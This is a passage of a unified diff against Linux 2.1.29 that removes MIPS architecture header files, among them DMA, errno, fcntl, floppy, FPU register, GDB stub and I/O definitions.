DMA_PAGE_7); - break; - } -} - - -/* Set transfer address & page bits for specific DMA channel. - * Assumes dma flipflop is clear. - */ -static __inline__ void set_dma_addr(unsigned int dmanr, unsigned int a) -{ - set_dma_page(dmanr, a>>16); - if (dmanr <= 3) { - dma_outb( a & 0xff, ((dmanr&3)<<1) + IO_DMA1_BASE ); - dma_outb( (a>>8) & 0xff, ((dmanr&3)<<1) + IO_DMA1_BASE ); - } else { - dma_outb( (a>>1) & 0xff, ((dmanr&3)<<2) + IO_DMA2_BASE ); - dma_outb( (a>>9) & 0xff, ((dmanr&3)<<2) + IO_DMA2_BASE ); - } -} - - -/* Set transfer size (max 64k for DMA1..3, 128k for DMA5..7) for - * a specific DMA channel. - * You must ensure the parameters are valid. - * NOTE: from a manual: "the number of transfers is one more - * than the initial word count"! This is taken into account. - * Assumes dma flip-flop is clear. - * NOTE 2: "count" represents _bytes_ and must be even for channels 5-7. - */ -static __inline__ void set_dma_count(unsigned int dmanr, unsigned int count) -{ - count--; - if (dmanr <= 3) { - dma_outb( count & 0xff, ((dmanr&3)<<1) + 1 + IO_DMA1_BASE ); - dma_outb( (count>>8) & 0xff, ((dmanr&3)<<1) + 1 + IO_DMA1_BASE ); - } else { - dma_outb( (count>>1) & 0xff, ((dmanr&3)<<2) + 2 + IO_DMA2_BASE ); - dma_outb( (count>>9) & 0xff, ((dmanr&3)<<2) + 2 + IO_DMA2_BASE ); - } -} - - -/* Get DMA residue count. After a DMA transfer, this - * should return zero. Reading this while a DMA transfer is - * still in progress will return unpredictable results. - * If called before the channel has been used, it may return 1. - * Otherwise, it returns the number of _bytes_ left to transfer. - * - * Assumes DMA flip-flop is clear. - */ -static __inline__ int get_dma_residue(unsigned int dmanr) -{ - unsigned int io_port = (dmanr<=3)? ((dmanr&3)<<1) + 1 + IO_DMA1_BASE - : ((dmanr&3)<<2) + 2 + IO_DMA2_BASE; - - /* using short to get 16-bit wrap around */ - unsigned short count; - - count = 1 + dma_inb(io_port); - count += dma_inb(io_port) << 8; - - return (dmanr<=3)? count : (count<<1); -} - - -/* These are in kernel/dma.c: */ -extern int request_dma(unsigned int dmanr, const char * device_id); /* reserve a DMA channel */ -extern void free_dma(unsigned int dmanr); /* release it again */ - -/* - * DMA memory allocation - formerly in include/linux/mm.h - */ -#define __get_dma_pages(priority, order) __get_free_pages((priority),(order), 1) - -#endif /* __ASM_MIPS_DMA_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/elf.h linux/include/asm-mips/elf.h --- linux-2.1.29/include/asm-mips/elf.h Sun Aug 4 07:12:40 1996 +++ linux/include/asm-mips/elf.h Wed Dec 31 19:00:00 1969 @@ -1,33 +0,0 @@ -#ifndef __ASM_MIPS_ELF_H -#define __ASM_MIPS_ELF_H - -/* - * ELF register definitions - * This is "make it compile" stuff! - */ -#define ELF_NGREG 32 -#define ELF_NFPREG 32 - -typedef unsigned long elf_greg_t; -typedef elf_greg_t elf_gregset_t[ELF_NGREG]; - -typedef double elf_fpreg_t; -typedef elf_fpreg_t elf_fpregset_t[ELF_NFPREG]; - -/* - * This is used to ensure we don't load something for the wrong architecture. - */ -#define elf_check_arch(x) ((x) == EM_MIPS) - -/* - * These are used to set parameters in the core dumps. - * FIXME(eric) I don't know what the correct endianness to use is. - */ -#define ELF_CLASS ELFCLASS32 -#define ELF_DATA ELFDATA2MSB; -#define ELF_ARCH EM_MIPS - -#define USE_ELF_CORE_DUMP -#define ELF_EXEC_PAGESIZE 4096 - -#endif /* __ASM_MIPS_ELF_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/errno.h linux/include/asm-mips/errno.h --- linux-2.1.29/include/asm-mips/errno.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/errno.h Wed Dec 31 19:00:00 1969 @@ -1,143 +0,0 @@ -/* - * include/asm-mips/errno.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_ERRNO_H -#define __ASM_MIPS_ERRNO_H - -/* - * These error numbers are intended to be MIPS ABI compatible - */ -#define EPERM 1 /* Operation not permitted */ -#define ENOENT 2 /* No such file or directory */ -#define ESRCH 3 /* No such process */ -#define EINTR 4 /* Interrupted system call */ -#define EIO 5 /* I/O error */ -#define ENXIO 6 /* No such device or address */ -#define E2BIG 7 /* Arg list too long */ -#define ENOEXEC 8 /* Exec format error */ -#define EBADF 9 /* Bad file number */ -#define ECHILD 10 /* No child processes */ -#define EAGAIN 11 /* Try again */ -#define ENOMEM 12 /* Out of memory */ -#define EACCES 13 /* Permission denied */ -#define EFAULT 14 /* Bad address */ -#define ENOTBLK 15 /* Block device required */ -#define EBUSY 16 /* Device or resource busy */ -#define EEXIST 17 /* File exists */ -#define EXDEV 18 /* Cross-device link */ -#define ENODEV 19 /* No such device */ -#define ENOTDIR 20 /* Not a directory */ -#define EISDIR 21 /* Is a directory */ -#define EINVAL 22 /* Invalid argument */ -#define ENFILE 23 /* File table overflow */ -#define EMFILE 24 /* Too many open files */ -#define ENOTTY 25 /* Not a typewriter */ -#define ETXTBSY 26 /* Text file busy */ -#define EFBIG 27 /* File too large */ -#define ENOSPC 28 /* No space left on device */ -#define ESPIPE 29 /* Illegal seek */ -#define EROFS 30 /* Read-only file system */ -#define EMLINK 31 /* Too many links */ -#define EPIPE 32 /* Broken pipe */ -#define EDOM 33 /* Math argument out of domain of func */ -#define ERANGE 34 /* Math result not representable */ -#define ENOMSG 35 /* No message of desired type */ -#define EIDRM 36 /* Identifier removed */ -#define ECHRNG 37 /* Channel number out of range */ -#define EL2NSYNC 38 /* Level 2 not synchronized */ -#define EL3HLT 39 /* Level 3 halted */ -#define EL3RST 40 /* Level 3 reset */ -#define ELNRNG 41 /* Link number out of range */ -#define EUNATCH 42 /* Protocol driver not attached */ -#define ENOCSI 43 /* No CSI structure available */ -#define EL2HLT 44 /* Level 2 halted */ -#define EDEADLK 45 /* Resource deadlock would occur */ -#define ENOLCK 46 /* No record locks available */ -#define EBADE 50 /* Invalid exchange */ -#define EBADR 51 /* Invalid request descriptor */ -#define EXFULL 52 /* Exchange full */ -#define ENOANO 53 /* No anode */ -#define EBADRQC 54 /* Invalid request code */ -#define EBADSLT 55 /* Invalid slot */ -#define EDEADLOCK 56 /* File locking deadlock error */ -#define EBFONT 59 /* Bad font file format */ -#define ENOSTR 60 /* Device not a stream */ -#define ENODATA 61 /* No data available */ -#define ETIME 62 /* Timer expired */ -#define ENOSR 63 /* Out of streams resources */ -#define ENONET 64 /* Machine is not on the network */ -#define ENOPKG 65 /* Package not installed */ -#define EREMOTE 66 /* Object is remote */ -#define ENOLINK 67 /* Link has been severed */ -#define EADV 68 /* Advertise error */ -#define ESRMNT 69 /* Srmount error */ -#define ECOMM 70 /* Communication error on send */ -#define EPROTO 71 /* Protocol error */ -#define EDOTDOT 73 /* RFS specific error */ -#define EMULTIHOP 74 /* Multihop attempted */ -#define EBADMSG 77 /* Not a data message */ -#define ENAMETOOLONG 78 /* File name too long */ -#define EOVERFLOW 79 /* Value too large for defined data type */ -#define ENOTUNIQ 80 /* Name not unique on network */ -#define EBADFD 81 /* File descriptor in bad state */ -#define EREMCHG 82 /* Remote address changed */ -#define ELIBACC 83 /* Can not access a needed shared library */ -#define ELIBBAD 84 /* Accessing a corrupted shared library */ -#define ELIBSCN 85 /* .lib section in a.out corrupted */ -#define ELIBMAX 86 /* Attempting to link in too many shared libraries */ -#define ELIBEXEC 87 /* Cannot exec a shared library directly */ -#define EILSEQ 88 /* Illegal byte sequence */ -#define ENOSYS 89 /* Function not implemented */ -#define ELOOP 90 /* Too many symbolic links encountered */ -#define ERESTART 91 /* Interrupted system call should be restarted */ -#define ESTRPIPE 92 /* Streams pipe error */ -#define ENOTEMPTY 93 /* Directory not empty */ -#define EUSERS 94 /* Too many users */ -#define ENOTSOCK 95 /* Socket operation on non-socket */ -#define EDESTADDRREQ 96 /* Destination address required */ -#define EMSGSIZE 97 /* Message too long */ -#define EPROTOTYPE 98 /* Protocol wrong type for socket */ -#define ENOPROTOOPT 99 /* Protocol not available */ -#define EPROTONOSUPPORT 120 /* Protocol not supported */ -#define ESOCKTNOSUPPORT 121 /* Socket type not supported */ -#define EOPNOTSUPP 122 /* Operation not supported on transport endpoint */ -#define EPFNOSUPPORT 123 /* Protocol family not supported */ -#define EAFNOSUPPORT 124 /* Address family not supported by protocol */ -#define EADDRINUSE 125 /* Address already in use */ -#define EADDRNOTAVAIL 126 /* Cannot assign requested address */ -#define ENETDOWN 127 /* Network is down */ -#define ENETUNREACH 128 /* Network is unreachable */ -#define ENETRESET 129 /* Network dropped connection because of reset */ -#define ECONNABORTED 130 /* Software caused connection abort */ -#define ECONNRESET 131 /* Connection reset by peer */ -#define ENOBUFS 132 /* No buffer space available */ -#define EISCONN 133 /* Transport endpoint is already connected */ -#define ENOTCONN 134 /* Transport endpoint is not connected */ -#define EUCLEAN 135 /* Structure needs cleaning */ -#define ENOTNAM 137 /* Not a XENIX named type file */ -#define ENAVAIL 138 /* No XENIX semaphores available */ -#define EISNAM 139 /* Is a named type file */ -#define EREMOTEIO 140 /* Remote I/O error */ -#define EINIT 141 /* Reserved */ -#define EREMDEV 142 /* Error 142 */ -#define ESHUTDOWN 143 /* Cannot send after transport endpoint shutdown */ -#define ETOOMANYREFS 144 /* Too many references: cannot splice */ -#define ETIMEDOUT 145 /* Connection timed out */ -#define ECONNREFUSED 146 /* Connection refused */ -#define EHOSTDOWN 147 /* Host is down */ -#define EHOSTUNREACH 148 /* No route to host */ -#define EWOULDBLOCK EAGAIN /* Operation would block */ -#define EALREADY 149 /* Operation already in progress */ -#define EINPROGRESS 150 /* Operation now in progress */ -#define ESTALE 151 /* Stale NFS file handle */ -#define ECANCELED 158 /* AIO operation canceled */ -#define EDQUOT 1133 /* Quota exceeded */ -#define ENFSREMOTE 1134 /* ??? */ - -#endif /* __ASM_MIPS_ERRNO_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/fcntl.h linux/include/asm-mips/fcntl.h --- linux-2.1.29/include/asm-mips/fcntl.h Sun Sep 22 02:41:32 1996 +++ linux/include/asm-mips/fcntl.h Wed Dec 31 19:00:00 1969 @@ -1,62 +0,0 @@ -#ifndef __ASM_MIPS_FCNTL_H -#define __ASM_MIPS_FCNTL_H - -/* open/fcntl - O_SYNC is only implemented on blocks devices and on files - located on an ext2 file system */ -#define O_ACCMODE 0x0003 -#define O_RDONLY 0x0000 -#define O_WRONLY 0x0001 -#define O_RDWR 0x0002 -#define O_APPEND 0x0008 -#define O_SYNC 0x0010 -#define O_NONBLOCK 0x0080 -#define O_CREAT 0x0100 /* not fcntl */ -#define O_TRUNC 0x0200 /* not fcntl */ -#define O_EXCL 0x0400 /* not fcntl */ -#define O_NOCTTY 0x0800 /* not fcntl */ -#define FASYNC 0x1000 /* fcntl, for BSD compatibility */ - -#define O_NDELAY O_NONBLOCK - -#define F_DUPFD 0 /* dup */ -#define F_GETFD 1 /* get f_flags */ -#define F_SETFD 2 /* set f_flags */ -#define F_GETFL 3 /* more flags (cloexec) */ -#define F_SETFL 4 -#define F_GETLK 14 -#define F_SETLK 6 -#define F_SETLKW 7 - -#define F_SETOWN 24 /* for sockets. */ -#define F_GETOWN 23 /* for sockets. */ - -/* for F_[GET|SET]FL */ -#define FD_CLOEXEC 1 /* actually anything with low bit set goes */ - -/* for posix fcntl() and lockf() */ -#define F_RDLCK 0 -#define F_WRLCK 1 -#define F_UNLCK 2 - -/* for old implementation of bsd flock () */ -#define F_EXLCK 4 /* or 3 */ -#define F_SHLCK 8 /* or 4 */ - -/* operations for bsd flock(), also used by the kernel implementation */ -#define LOCK_SH 1 /* shared lock */ -#define LOCK_EX 2 /* exclusive lock */ -#define LOCK_NB 4 /* or'd with one of the above to prevent XXXXXXXXXXXXXXXXXX - blocking */ -#define LOCK_UN 8 /* remove lock */ - -typedef struct flock { - short l_type; - short l_whence; - off_t l_start; - off_t l_len; - long l_sysid; /* XXXXXXXXXXXXXXXXXXXXXXXXX */ - pid_t l_pid; - long pad[4]; /* ZZZZZZZZZZZZZZZZZZZZZZZZZZ */ -} flock_t; - -#endif /* __ASM_MIPS_FCNTL_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/floppy.h linux/include/asm-mips/floppy.h --- linux-2.1.29/include/asm-mips/floppy.h Sat Sep 28 15:05:41 1996 +++ linux/include/asm-mips/floppy.h Wed Dec 31 19:00:00 1969 @@ -1,101 +0,0 @@ -/* - * Architecture specific parts of the Floppy driver - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 - */ -#ifndef __ASM_MIPS_FLOPPY_H -#define __ASM_MIPS_FLOPPY_H - -#include -#include -#include -#include -#include - -#define fd_inb(port) feature->fd_inb(port) -#define fd_outb(value,port) feature->fd_outb(value,port) - -#define fd_enable_dma() feature->fd_enable_dma() -#define fd_disable_dma() feature->fd_disable_dma() -#define fd_request_dma() feature->fd_request_dma() -#define fd_free_dma() feature->fd_free_dma() -#define fd_clear_dma_ff() feature->fd_clear_dma_ff() -#define fd_set_dma_mode(mode) feature->fd_set_dma_mode(mode) -#define fd_set_dma_addr(addr) feature->fd_set_dma_addr(virt_to_bus(addr)) -#define fd_set_dma_count(count) feature->fd_set_dma_count(count) -#define fd_get_dma_residue() feature->fd_get_dma_residue() -#define fd_enable_irq() feature->fd_enable_irq() -#define fd_disable_irq() feature->fd_disable_irq() -#define fd_cacheflush(addr, size) feature->fd_cacheflush((void *)addr, size) -#define fd_request_irq() request_irq(FLOPPY_IRQ, floppy_interrupt, \ - SA_INTERRUPT|SA_SAMPLE_RANDOM, \ - "floppy", NULL) -#define fd_free_irq() free_irq(FLOPPY_IRQ, NULL); - -#define MAX_BUFFER_SECTORS 24 - -static unsigned long mips_dma_mem_alloc(unsigned long size) -{ - int order = __get_order(size); - unsigned long mem; - - mem = __get_dma_pages(GFP_KERNEL,order); - if(!mem) - return 0; - if (boot_info.machtype == MACH_ACER_PICA_61 || - boot_info.machtype == MACH_MIPS_MAGNUM_4000 || - boot_info.machtype == MACH_OLIVETTI_M700) - vdma_alloc(PHYSADDR(mem), size); - return mem; -} - -static void mips_dma_mem_free(unsigned long addr, unsigned long size) -{ - if (boot_info.machtype == MACH_ACER_PICA_61 || - boot_info.machtype == MACH_MIPS_MAGNUM_4000 || - boot_info.machtype == MACH_OLIVETTI_M700) - vdma_free(PHYSADDR(addr)); - free_pages(addr, __get_order(size)); -} - -#define fd_dma_mem_alloc(mem,size) mips_dma_mem_alloc(mem,size) -#define fd_dma_mem_free(mem) mips_dma_mem_free(mem) - -/* - * And on Mips's the CMOS info fails also ... - * - * FIXME: This information should come from the ARC configuration tree - * or wherever a particular machine has stored this ... - */ -#define FLOPPY0_TYPE 4 /* this is wrong for the Olli M700, but who cares... */ -#define FLOPPY1_TYPE 0 - -#define FDC1 ((boot_info.machtype == MACH_ACER_PICA_61 || \ - boot_info.machtype == MACH_MIPS_MAGNUM_4000 || \ - boot_info.machtype == MACH_OLIVETTI_M700) ? \ - 0xe0003000 : 0x3f0) -static int FDC2=-1; - -#define N_FDC 1 /* do you *really* want a second controller? */ -#define N_DRIVE 8 - -/* - * The DMA channel used by the floppy controller cannot access data at - * addresses >= 16MB - * - * Went back to the 1MB limit, as some people had problems with the floppy - * driver otherwise. It doesn't matter much for performance anyway, as most - * floppy accesses go through the track buffer. - * - * On MIPSes using vdma, this actually means that *all* transfers go thru - * the * track buffer since 0x1000000 is always smaller than KSEG0/1. - * Actually this needs to be a bit more complicated since the so much different - * hardware available with MIPS CPUs ... - */ -#define CROSS_64KB(a,s) ((unsigned long)(a)/K_64 != ((unsigned long)(a) + (s) - 1) / K_64) - -#endif /* __ASM_MIPS_FLOPPY_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/fpregdef.h linux/include/asm-mips/fpregdef.h --- linux-2.1.29/include/asm-mips/fpregdef.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/fpregdef.h Wed Dec 31 19:00:00 1969 @@ -1,52 +0,0 @@ -/* - * Definitions for the FPU register names - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_FPREGDEF_H -#define __ASM_MIPS_FPREGDEF_H - -/* - * These definitions only cover the R3000-ish 16/32 register model. - * But we're trying to be R3000 friendly anyway ... - */ -#define fv0 $f0 /* return value */ -#define fv0f $f1 -#define fv1 $f2 -#define fv1f $f3 -#define fa0 $f12 /* argument registers */ -#define fa0f $f13 -#define fa1 $f14 -#define fa1f $f15 -#define ft0 $f4 /* caller saved */ -#define ft0f $f5 -#define ft1 $f6 -#define ft1f $f7 -#define ft2 $f8 -#define ft2f $f9 -#define ft3 $f10 -#define ft3f $f11 -#define ft4 $f16 -#define ft4f $f17 -#define ft5 $f18 -#define ft5f $f19 -#define fs0 $f20 /* callee saved */ -#define fs0f $f21 -#define fs1 $f22 -#define fs1f $f23 -#define fs2 $f24 -#define fs2f $f25 -#define fs3 $f26 -#define fs3f $f27 -#define fs4 $f28 -#define fs4f $f29 -#define fs5 $f30 -#define fs5f $f31 - -#define fcr31 $31 /* FPU status register */ - -#endif /* !defined (__ASM_MIPS_FPREGDEF_H) */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/gdb-stub.h linux/include/asm-mips/gdb-stub.h --- linux-2.1.29/include/asm-mips/gdb-stub.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/gdb-stub.h Wed Dec 31 19:00:00 1969 @@ -1,211 +0,0 @@ -/* - * include/asm-mips/gdb-stub.h - * - * Copyright (C) 1995 Andreas Busse - */ - -#ifndef __ASM_MIPS_GDB_STUB_H -#define __ASM_MIPS_GDB_STUB_H - - -/* - * important register numbers - */ - -#define REG_EPC 37 -#define REG_FP 72 -#define REG_SP 29 - -/* - * Stack layout for the GDB exception handler - * Derived from the stack layout described in asm-mips/stackframe.h - * - * The first PTRSIZE*5 bytes are argument save space for C subroutines. - */ -#define NUMREGS 90 - -#define GDB_FR_REG0 (PTRSIZE*5) /* 0 */ -#define GDB_FR_REG1 ((GDB_FR_REG0) + 4) /* 1 */ -#define GDB_FR_REG2 ((GDB_FR_REG1) + 4) /* 2 */ -#define GDB_FR_REG3 ((GDB_FR_REG2) + 4) /* 3 */ -#define GDB_FR_REG4 ((GDB_FR_REG3) + 4) /* 4 */ -#define GDB_FR_REG5 ((GDB_FR_REG4) + 4) /* 5 */ -#define GDB_FR_REG6 ((GDB_FR_REG5) + 4) /* 6 */ -#define GDB_FR_REG7 ((GDB_FR_REG6) + 4) /* 7 */ -#define GDB_FR_REG8 ((GDB_FR_REG7) + 4) /* 8 */ -#define GDB_FR_REG9 ((GDB_FR_REG8) + 4) /* 9 */ -#define GDB_FR_REG10 ((GDB_FR_REG9) + 4) /* 10 */ -#define GDB_FR_REG11 ((GDB_FR_REG10) + 4) /* 11 */ -#define GDB_FR_REG12 ((GDB_FR_REG11) + 4) /* 12 */ -#define GDB_FR_REG13 ((GDB_FR_REG12) + 4) /* 13 */ -#define GDB_FR_REG14 ((GDB_FR_REG13) + 4) /* 14 */ -#define GDB_FR_REG15 ((GDB_FR_REG14) + 4) /* 15 */ -#define GDB_FR_REG16 ((GDB_FR_REG15) + 4) /* 16 */ -#define GDB_FR_REG17 ((GDB_FR_REG16) + 4) /* 17 */ -#define GDB_FR_REG18 ((GDB_FR_REG17) + 4) /* 18 */ -#define GDB_FR_REG19 ((GDB_FR_REG18) + 4) /* 19 */ -#define GDB_FR_REG20 ((GDB_FR_REG19) + 4) /* 20 */ -#define GDB_FR_REG21 ((GDB_FR_REG20) + 4) /* 21 */ -#define GDB_FR_REG22 ((GDB_FR_REG21) + 4) /* 22 */ -#define GDB_FR_REG23 ((GDB_FR_REG22) + 4) /* 23 */ -#define GDB_FR_REG24 ((GDB_FR_REG23) + 4) /* 24 */ -#define GDB_FR_REG25 ((GDB_FR_REG24) + 4) /* 25 */ -#define GDB_FR_REG26 ((GDB_FR_REG25) + 4) /* 26 */ -#define GDB_FR_REG27 ((GDB_FR_REG26) + 4) /* 27 */ -#define GDB_FR_REG28 ((GDB_FR_REG27) + 4) /* 28 */ -#define GDB_FR_REG29 ((GDB_FR_REG28) + 4) /* 29 */ -#define GDB_FR_REG30 ((GDB_FR_REG29) + 4) /* 30 */ -#define GDB_FR_REG31 ((GDB_FR_REG30) + 4) /* 31 */ - -/* - * Saved special registers - */ -#define GDB_FR_STATUS ((GDB_FR_REG31) + 4) /* 32 */ -#define GDB_FR_LO ((GDB_FR_STATUS) + 4) /* 33 */ -#define GDB_FR_HI ((GDB_FR_LO) + 4) /* 34 */ -#define GDB_FR_BADVADDR ((GDB_FR_HI) + 4) /* 35 */ -#define GDB_FR_CAUSE ((GDB_FR_BADVADDR) + 4) /* 36 */ -#define GDB_FR_EPC ((GDB_FR_CAUSE) + 4) /* 37 */ - -/* - * Saved floating point registers - */ -#define GDB_FR_FPR0 ((GDB_FR_EPC) + 4) /* 38 */ -#define GDB_FR_FPR1 ((GDB_FR_FPR0) + 4) /* 39 */ -#define GDB_FR_FPR2 ((GDB_FR_FPR1) + 4) /* 40 */ -#define GDB_FR_FPR3 ((GDB_FR_FPR2) + 4) /* 41 */ -#define GDB_FR_FPR4 ((GDB_FR_FPR3) + 4) /* 42 */ -#define GDB_FR_FPR5 ((GDB_FR_FPR4) + 4) /* 43 */ -#define GDB_FR_FPR6 ((GDB_FR_FPR5) + 4) /* 44 */ -#define GDB_FR_FPR7 ((GDB_FR_FPR6) + 4) /* 45 */ -#define GDB_FR_FPR8 ((GDB_FR_FPR7) + 4) /* 46 */ -#define GDB_FR_FPR9 ((GDB_FR_FPR8) + 4) /* 47 */ -#define GDB_FR_FPR10 ((GDB_FR_FPR9) + 4) /* 48 */ -#define GDB_FR_FPR11 ((GDB_FR_FPR10) + 4) /* 49 */ -#define GDB_FR_FPR12 ((GDB_FR_FPR11) + 4) /* 50 */ -#define GDB_FR_FPR13 ((GDB_FR_FPR12) + 4) /* 51 */ -#define GDB_FR_FPR14 ((GDB_FR_FPR13) + 4) /* 52 */ -#define GDB_FR_FPR15 ((GDB_FR_FPR14) + 4) /* 53 */ -#define GDB_FR_FPR16 ((GDB_FR_FPR15) + 4) /* 54 */ -#define GDB_FR_FPR17 ((GDB_FR_FPR16) + 4) /* 55 */ -#define GDB_FR_FPR18 ((GDB_FR_FPR17) + 4) /* 56 */ -#define GDB_FR_FPR19 ((GDB_FR_FPR18) + 4) /* 57 */ -#define GDB_FR_FPR20 ((GDB_FR_FPR19) + 4) /* 58 */ -#define GDB_FR_FPR21 ((GDB_FR_FPR20) + 4) /* 59 */ -#define GDB_FR_FPR22 ((GDB_FR_FPR21) + 4) /* 60 */ -#define GDB_FR_FPR23 ((GDB_FR_FPR22) + 4) /* 61 */ -#define GDB_FR_FPR24 ((GDB_FR_FPR23) + 4) /* 62 */ -#define GDB_FR_FPR25 ((GDB_FR_FPR24) + 4) /* 63 */ -#define GDB_FR_FPR26 ((GDB_FR_FPR25) + 4) /* 64 */ -#define GDB_FR_FPR27 ((GDB_FR_FPR26) + 4) /* 65 */ -#define GDB_FR_FPR28 ((GDB_FR_FPR27) + 4) /* 66 */ -#define GDB_FR_FPR29 ((GDB_FR_FPR28) + 4) /* 67 */ -#define GDB_FR_FPR30 ((GDB_FR_FPR29) + 4) /* 68 */ -#define GDB_FR_FPR31 ((GDB_FR_FPR30) + 4) /* 69 */ - -#define GDB_FR_FSR ((GDB_FR_FPR31) + 4) /* 70 */ -#define GDB_FR_FIR ((GDB_FR_FSR) + 4) /* 71 */ -#define GDB_FR_FRP ((GDB_FR_FIR) + 4) /* 72 */ - -#define GDB_FR_DUMMY ((GDB_FR_FRP) + 4) /* 73, unused ??? */ - -/* - * Again, CP0 registers - */ -#define GDB_FR_CP0_INDEX ((GDB_FR_DUMMY) + 4) /* 74 */ -#define GDB_FR_CP0_RANDOM ((GDB_FR_CP0_INDEX) + 4) /* 75 */ -#define GDB_FR_CP0_ENTRYLO0 ((GDB_FR_CP0_RANDOM) + 4) /* 76 */ -#define GDB_FR_CP0_ENTRYLO1 ((GDB_FR_CP0_ENTRYLO0) + 4) /* 77 */ -#define GDB_FR_CP0_REG4 ((GDB_FR_CP0_ENTRYLO1) + 4) /* 78 */ -#define GDB_FR_CP0_PAGEMASK ((GDB_FR_CP0_REG4) + 4) /* 79 */ -#define GDB_FR_CP0_WIRED ((GDB_FR_CP0_PAGEMASK) + 4) /* 80 */ -#define GDB_FR_CP0_REG7 ((GDB_FR_CP0_WIRED) + 4) /* 81 */ -#define GDB_FR_CP0_REG8 ((GDB_FR_CP0_REG7) + 4) /* 82 */ -#define GDB_FR_CP0_REG9 ((GDB_FR_CP0_REG8) + 4) /* 83 */ -#define GDB_FR_CP0_ENTRYHI ((GDB_FR_CP0_REG9) + 4) /* 84 */ -#define GDB_FR_CP0_REG11 ((GDB_FR_CP0_ENTRYHI) + 4) /* 85 */ -#define GDB_FR_CP0_REG12 ((GDB_FR_CP0_REG11) + 4) /* 86 */ -#define GDB_FR_CP0_REG13 ((GDB_FR_CP0_REG12) + 4) /* 87 */ -#define GDB_FR_CP0_REG14 ((GDB_FR_CP0_REG13) + 4) /* 88 */ -#define GDB_FR_CP0_PRID ((GDB_FR_CP0_REG14) + 4) /* 89 */ - -#define GDB_FR_SIZE ((((GDB_FR_CP0_PRID) + 4) + (PTRSIZE-1)) & ~(PTRSIZE-1)) - -#ifndef __LANGUAGE_ASSEMBLY__ - -/* - * This is the same as above, but for the high-level - * part of the GDB stub. - */ - -struct gdb_regs { - /* - * Pad bytes for argument save space on the stack - * 20/40 Bytes for 32/64 bit code - */ - unsigned long pad0[5]; - - /* - * saved main processor registers - */ - long reg0, reg1, reg2, reg3, reg4, reg5, reg6, reg7; - long reg8, reg9, reg10, reg11, reg12, reg13, reg14, reg15; - long reg16, reg17, reg18, reg19, reg20, reg21, reg22, reg23; - long reg24, reg25, reg26, reg27, reg28, reg29, reg30, reg31; - - /* - * Saved special registers - */ - long cp0_status; - long lo; - long hi; - long cp0_badvaddr; - long cp0_cause; - long cp0_epc; - - /* - * Saved floating point registers - */ - long fpr0, fpr1, fpr2, fpr3, fpr4, fpr5, fpr6, fpr7; - long fpr8, fpr9, fpr10, fpr11, fpr12, fpr13, fpr14, fpr15; - long fpr16, fpr17, fpr18, fpr19, fpr20, fpr21, fpr22, fpr23; - long fpr24, fpr25, fpr26, fpr27, fpr28, fpr29, fpr30, fpr31; - - long cp1_fsr; - long cp1_fir; - - /* - * Frame pointer - */ - long frame_ptr; - long dummy; /* unused */ - - /* - * saved cp0 registers - */ - long cp0_index; - long cp0_random; - long cp0_entrylo0; - long cp0_entrylo1; - long cp0_reg4; - long cp0_pagemask; - long cp0_wired; - long cp0_reg7; - long cp0_reg8; - long cp0_reg9; - long cp0_entryhi; - long cp0_reg11; - long cp0_reg12; - long cp0_reg13; - long cp0_reg14; - long cp0_prid; -}; - -/* - * Prototypes - */ - -void set_debug_traps(void); - -#endif /* __LANGUAGE_ASSEMBLY */ -#endif /* __ASM_MIPS_GDB_STUB_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/io.h linux/include/asm-mips/io.h --- linux-2.1.29/include/asm-mips/io.h Sat May 10 18:12:11 1997 +++ linux/include/asm-mips/io.h Wed Dec 31 19:00:00 1969 @@ -1,289 +0,0 @@ -#ifndef __ASM_MIPS_IO_H -#define __ASM_MIPS_IO_H - -#include -#include - -/* - * This file contains the definitions for the MIPS counterpart of the - * x86 in/out instructions. This heap of macros and C results in much - * better code than the approach of doing it in plain C, though that's - * probably not needed. - * - * Ralf - * - * This file contains the definitions for the x86 IO instructions - * inb/inw/inl/outb/outw/outl and the "string versions" of the same - * (insb/insw/insl/outsb/outsw/outsl). You can also use "pausing" - * versions of the single-IO instructions (inb_p/inw_p/..). - * - * This file is not meant to be obfuscating: it's just complicated - * to (a) handle it all in a way that makes gcc able to optimize it - * as well as possible and (b) trying to avoid writing the same thing - * over and over again with slight variations and possibly making a - * mistake somewhere. - */ - -/* - * Thanks to James van Artsdalen for a better timing-fix than - * the two short jumps: using outb's to a nonexistent port seems - * to guarantee better timings even on fast machines. - * - * On the other hand, I'd like to be sure of a non-existent port: - * I feel a bit unsafe about using 0x80 (should be safe, though) - * - * Linus - */ - -#define __SLOW_DOWN_IO \ - __asm__ __volatile__( \ - "sb\t$0,0x80(%0)" \ - : : "r" (PORT_BASE)); - -#ifdef REALLY_SLOW_IO -#define SLOW_DOWN_IO { __SLOW_DOWN_IO; __SLOW_DOWN_IO; __SLOW_DOWN_IO; __SLOW_DOWN_IO; } -#else -#define SLOW_DOWN_IO __SLOW_DOWN_IO -#endif - -/* - * Change virtual addresses to physical addresses and vv. - * These are trivial on the 1:1 Linux/MIPS mapping - */ -extern inline unsigned long virt_to_phys(volatile void * address) -{ - return (unsigned long) address - KSEG0; -} - -extern inline void * phys_to_virt(unsigned long address) -{ - return (void *) address + KSEG0; -} - -/* - * IO bus memory addresses are also 1:1 with the physical address - * FIXME: This assumption is wrong for the Deskstation Tyne - */ -#define virt_to_bus virt_to_phys -#define bus_to_virt phys_to_virt - -/* - * readX/writeX() are used to access memory mapped devices. On some - * architectures the memory mapped IO stuff needs to be accessed - * differently. On the x86 architecture, we just read/write the - * memory location directly. - */ -#define readb(addr) (*(volatile unsigned char *) (addr)) -#define readw(addr) (*(volatile unsigned short *) (addr)) -#define readl(addr) (*(volatile unsigned int *) 